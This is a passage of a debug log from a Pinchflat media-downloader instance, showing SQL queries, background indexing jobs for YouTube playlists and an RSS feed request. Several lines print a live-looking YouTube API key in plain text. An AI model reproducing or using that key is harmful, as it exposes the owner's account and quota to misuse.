"cmwW_7Abt1U", "4uSSn65kjoY", "VvVF9MpNKOM", "K62b5JcIyws", "7YMs4CC-4fg", "LKW7jxxzgY0", "3uAJj9IG5L0", "laNbCG1X0bc", "KAa-oD5ip6g", "o3gI3hJ8y9g", "QZZCVVpRPCw", "fYQ-7t0NVSY", "OkMhgv-LVFs", "UrimWxUfPYM", "JYT2by9OsNU", "Nre7c3KGDLI", "Jn_mEQzU2uU", "vgM7E9gyyfA", "-yzDkpEFPso", "P3hLiuMw06E", "1Lj_Vx_YLic", "MMMREpB4_Uw", "jTCzE-t_zwM", "lboQeOpiHDQ", "TW0E1KFVuFY", "7VFv3s7gpdU", "vyYSPIfCLdc", "nNNs5FtLnTc", "qo9gdGAdTVs", "prdfB6Ajd-0", "ivSZoARtMtU", "fOr5r_a3n5c", "PDJdtrrXlBc", "MAw0IOv6g2I", "VY4oO2EoURA", "TJ9QPLFRwgU", "SL3I3HRltxY", "JKDISzBlzow", "3rd0HjHoQzE", "7xwicE-ysdA", "09a59YumUcI", "0tmYqrYddLY", "VNnyrwFoIkg", "m-Wt81X5Z4k", "rftUQzr5MNY", "pXjsYsJR8eU", "prJa6chyjqQ", "e8MxxudBYHk", "a_0XQWA15FI", ...] 16:45:41.986 [debug] QUERY OK source="media_items" db=0.8ms idle=243.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [18] 16:45:41.987 [debug] QUERY OK source="tasks" db=0.1ms idle=244.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268309, 18, ~U[2026-10-09 21:45:41Z], ~U[2026-10-09 21:45:41Z]] 16:45:41.987 [info] {"args":{"id":18},"id":5268269,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":246277,"event":"job:stop","queue_time":488046,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:42.200 [debug] QUERY OK source="media_items" db=0.7ms idle=212.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "LttGyjX-QxE", "t28bEMboL9Y", "ijFSEb2W6_8", "79s8O7Cipl0", "1H20xp8Brnc", "y1hZ3EalPQU", "zH9bqwNShiM", "1gxnANAbLuE", "Fx0x3oI_ngo", "DLOQOUWmRpI", "p-EXFD_DHmc", "XM04mbymDsE", "GaX0frxNwfQ", "SuIhqDP2VHw", "Z1sqWFs86uU", "pJWqvVnDT0A", "qgLaCZyKv_8", "Zzzkg_ZrOII", "zg-rMHEqg-4", "3xngArcFpek", "y9rtvIUjVQw", "3PGKMwgjla0", "i_nj_vkD03g", "pvSdeU13hKc", "_p331WEfEIs", "VfQdPRyqQW4", "n5wuk8Uci_4", "sL6OWsT47zc", "FYDvDoxBU6c", "2KztkwBYD68", "nZwdIPg7N3A", "lmLh29LE2W4", "MtkoClsRvCU", "X8sgBpmdCT8", "fX-g6XNrkiA", "81wg425C8z0", "LYMvJW5rYME", "RC138pD_7_s", "yFJDP7OinRM", "tklAv8hcG9s", "oeqUHEp4sYM", "H4BKUbtCmp0", "ZWCAXHNOIcA", "DXK-F0SjC_E", "04MFcE-ntxQ", "QfCW5bXvwII", "36oL-7C_qR4", "AHP423JqiLc", "vzg5cv785j4", ...] 16:45:42.213 [debug] QUERY OK source="media_items" db=11.8ms idle=214.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 16:45:42.214 [debug] QUERY OK source="tasks" db=0.1ms idle=219.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268310, 1, ~U[2026-10-09 21:45:42Z], ~U[2026-10-09 21:45:42Z]] 16:45:42.214 [info] {"args":{"id":1},"id":5268270,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":473015,"event":"job:stop","queue_time":292461,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:42.744 [info] {"args":{"id":5},"id":5268271,"meta":{},"system_time":1791582342744258345,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:42.744 [info] {"args":{"id":16},"id":5268272,"meta":{},"system_time":1791582342744312405,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:42.744 [debug] QUERY OK source="sources" db=0.1ms idle=529.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [16] 16:45:42.744 [debug] QUERY OK source="sources" db=0.2ms idle=530.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 16:45:42.744 [debug] QUERY OK source="settings" db=0.1ms idle=523.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:42.744 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:42.745 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:45:42.745 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:45:42.745 [debug] QUERY OK source="settings" db=0.3ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:42.745 [debug] Fetching recent media IDs from YouTube API for playlist: UUBa659QWEk1AI4Tg--mrJ2A 16:45:42.745 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:42.745 [debug] Fetching recent media IDs from YouTube API for playlist: UUWFKCr40YwOZQx8FHU_ZqqQ 16:45:42.745 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:42.745 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:45:42.745 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:42.745 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:45:42.940 [debug] QUERY OK source="media_items" db=0.6ms idle=193.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [16, "drrUvxtT6lU", "pZtU48TjxXg", "AQqVcdTH5bQ", "Dr4lseoF82c", "YwxiF2Gqtww", "IJSO-BL3pEU", "tDLbO9KeddY", "EU-rZuJxdbw", "7S8mK7WSNZQ", "SzM1hpnXux4", "8IsbKH-EsAY", "jUa2x_xpFuM", "WGia1R3xacM", "blubg9l8AVc", "hCZwH5CSlEY", "Mi_fYfpycT0", "YrZyJuaBfKA", "omYfLDlt-MA", "Pwn8IrDeiwc", "NxZOBBenmZM", "V2lEgMHF2Fo", "aZRXpmnys7I", "cMYYcddinkE", "-v2ZhcJcnBE", "Wp-TX1FoEN4", "PTEkUe1k6gc", "zKx1VJsLsfk", "GpaNijzRaJI", "Yz3lSKgz4q8", "7DKv5H5Frt0", "F0JDK_71yDg", "Zl_5LT2fzak", "hNZy603as5w", "pU9sHwNKc2c", "LDiXNsWQzD0", "jplrbxI5GN8", "lIbfMjZ0ME4", "CmZdGo6b5yA", "j3OqAN4ISOw", "XQIu5tZ0vbQ", "CkZyZFa5qO0", "ZgDBIzClmPg", "QqRREz0iBes", "3kwDVw0u4Kw", "TFpzps-DCb0", "ZNVuIU6UUiM", "Is_wu0VRIqQ", "1yfX84RMQ3M", "_G2Q1qsoGEU", ...] 16:45:42.941 [debug] QUERY OK source="media_items" db=0.9ms idle=195.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [16] 16:45:42.942 [debug] QUERY OK source="tasks" db=0.1ms idle=196.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268311, 16, ~U[2026-10-09 21:45:42Z], ~U[2026-10-09 21:45:42Z]] 16:45:42.942 [info] {"args":{"id":16},"id":5268272,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":198146,"event":"job:stop","queue_time":260615,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:43.156 [debug] QUERY OK source="media_items" db=0.6ms idle=213.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5, "9C4kJmNsd4g", "B09GJ5ynuKg", "yw3o8PSoWqs", "A5hZXRAZwiY", "tnszTTzGvmU", "hly-3fiHARI", "fd0k8u9XvQk", "Pc1JzImPw_M", "WUlLIo9LI-w", "vN44jvYD0aY", "AaqCYyrugzo", "6q-2bxQnaYA", "EnWmuc-J8i8", "GXkwWjAzQYI", "ls4jmJL8TeI", "79X9SL172oo", "ZPRKLg5ZR-8", "rHCpgtc5nzs", "5xO1jF1cVe8", "eZ5VpPJjddA", "jUT3rUZGqLA", "Ld0Bbf_Dpg0", "0pXrDVfe8A4", "i8BnXGr4mp0", "oQcw9ZZ_PxQ", "HZOYCMkic0E", "wCkFcD-2fI8", "ndmKkH2UU-Y", "hz1LmOcleGc", "lIOTxSlkuBc", "OO_JawE3fLs", "ojlTFAccjlQ", "F_A9UqXvLnE", "X_ERoyn1BUg", "25185B-tWCI", "zhL2FIiW2Ts", "QtrKAvLCJ2g", "Rm9rTYB7CdQ", "_Y-D4gYIVe4", "Pb-FPK2NGpw", "R11qUdPD3dw", "WbLI7U2hLyA", "pM1qgJMBqMw", "DRUDiwHRC60", "M16lt1D0OaI", "oJZecXmgXpA", "BqQ86_MIvp8", "PR5mykiFzN4", "FwyYsf9AGKw", ...] 16:45:43.160 [debug] QUERY OK source="media_items" db=3.0ms idle=214.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 16:45:43.161 [debug] QUERY OK source="tasks" db=0.1ms idle=211.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268312, 5, ~U[2026-10-09 21:45:43Z], ~U[2026-10-09 21:45:43Z]] 16:45:43.161 [info] {"args":{"id":5},"id":5268271,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":416873,"event":"job:stop","queue_time":457106,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:43.505 [info] GET /sources/66a9988d-2485-4058-98cc-a70582045a5a/feed.xml 16:45:43.505 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "66a9988d-2485-4058-98cc-a70582045a5a"} Pipelines: [:maybe_basic_auth] 16:45:43.505 [debug] QUERY OK source="sources" db=0.2ms idle=344.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["66a9988d-2485-4058-98cc-a70582045a5a"] 16:45:43.513 [debug] QUERY OK source="media_items" db=7.7ms idle=344.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [11, 2000] 16:45:43.559 [debug] QUERY OK source="source_metadata" db=0.1ms idle=398.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [11] 16:45:43.559 [debug] QUERY OK source="media_metadata" db=0.0ms idle=398.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577892] 16:45:43.563 [info] Sent 200 in 58ms 16:45:43.745 [info] {"args":{"id":28},"id":5268273,"meta":{},"system_time":1791582343745142166,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:43.745 [debug] QUERY OK source="sources" db=0.3ms idle=231.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 16:45:43.745 [debug] QUERY OK source="settings" db=0.1ms idle=186.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:43.746 [debug] QUERY OK source="media_profiles" db=0.1ms idle=186.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:45:43.746 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:43.746 [debug] Fetching recent media IDs from YouTube API for playlist: UUuVLG9pThvBABcYCm7pkNkA 16:45:43.746 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:43.746 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:45:43.899 [debug] QUERY OK source="media_items" db=0.6ms idle=152.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [28, "KrmXrao8zdE", "3fDGcZ8qpPM", "AyGMx6lWgZU", "QeQ0ReNvrxQ", "dWHCef7F8gY", "VsoNt5rhgkY", "jsLE4FncoLc", "FNBkN4YC8uo", "6pR7KWclRgE", "sX4qKGuAwr0", "sN7e38Q7e1U", "Ms5-iH2zH6Q", "NG-lLt5X3Rs", "8A42tiQ04CE", "i1AXDYQ6eUU", "Y8wBie-Oamc", "JPm4de6-eTg", "2El50dt7rVk", "_TxeaboC-xk", "XFWTgmV5C84", "l-1TWD7BAYc", 